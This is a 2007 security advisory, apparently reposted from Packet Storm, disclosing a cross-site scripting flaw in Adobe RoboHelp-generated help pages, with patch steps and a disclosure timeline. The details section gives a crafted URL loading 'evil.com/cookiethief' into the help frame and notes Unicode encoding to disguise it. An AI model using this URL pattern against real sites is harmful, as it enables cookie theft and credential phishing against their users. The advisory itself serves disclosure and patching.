Home / vulnerabilities adobe-xss.txt
Posted on 12 May 2007
Source : packetstormsecurity.org Link
Hi,
I'd like to inform you about a XSS-vulnerability in Adobe RoboHelp 6, RoboHelp Server 6 and RoboHelp X5. See attached advisory below.
I - TITLE
Security advisory: Cross-Site Scripting in RoboHelp 6, RoboHelp Server 6
and RoboHelp X5
II - SUMMARY
Description: A Cross-Site Scripting Flaw in generated RoboHelp webpages allows
an attacker to redirect users to arbitrary sites.
Author: Michael Domberg (mdomberg at gmx dot li)
Date: May 8th 2007
Severity: Medium
References: http://www.devtarget.org/adobe-advisory-05-2007.txt
III - OVERVIEW
Adobe RoboHelp 6 is a complete, flexible, and user-friendly system for building, managing, and publishing engaging content for help systems and standalone knowledge bases. It is a core product in the Adobe portfolio for technical communicators.
Adobe RoboHelp Server 6 extends and supports the capabilities of Adobe RoboHelp 6 to provide a complete online help and knowledge base solution. Easily deploy and manage up-to-date online content, control and monitor the use of web-based help systems in real time, and develop help systems for use with the Microsoft .NET Framework.
More information about the product can be found online at
http://www.adobe.com/products/robohelp/
http://www.adobe.com/products/robohelpserver/
IV - DETAILS
The RoboHelp compiler generates a bunch of .html-files. The URL to
the generated content looks like:
http://server/project_name/en/frameset-7.html#main_content.html
where
..server ist the name of the webserver
..project_name is a freely choosable name of the help project
..en is the shortname of the generated language
..frameset-7.html is the name of the file which contains the
frameset of the help system
..main_content.html is the name of the page that should be
displayed within the main frame
The JavaScript parts of "frameset-7.html" analyze the parameters
behind the "#"-sign and load the specified page into the main frame.
The script fails to sanitize the parameter so any URL could be specified
to be loaded into the frame. An malicious user might use URLs like:
http://server/project_name/en/frameset-7.html#http://evil.com/cookiethief
The parameter could be encoded with Unicode to hide the the real location
of the page. Users that are tricked into clicking on such malicious links
might be led to pages that fit into the "look-and-feel" of the original
page and that query for credentials.
V - ANALYSIS
The severity of this vulnerability is to be considered "low". An attacker
has to trick a victim into clicking the malicious URL and entering confidential
data on that site. Another possible attack is to get the victim's cookies.
Due to the fact that the vulnerability affects a development tool there may be
other websites and software products that indirectly affected by this flaw.
VI - EXPLOIT CODE
There is no code needed to exploit this vulnerability. It can simply
be exploited by entering a specially crafted URL into a browser.
VII - WORKAROUND/FIX
The vendor addressed the vulnerability by publishing patches for each affected
product. After downloading the patches, the following actions have to be taken:
- apply the patch
- restart RoboHelp / RoboHelp Server
- re-generate all content
- replace the old (vulnerable) content with the recently generated one.
VIII - DISCLOSURE TIMELINE
14. January 2007 - Notified vendor of affected software
26. January 2007 - Vulnerability confirmed
08. May 2007 - Release of patch
08. May 2007 - Public disclosure
Regards,
Michael Domberg,
www.devtarget.org
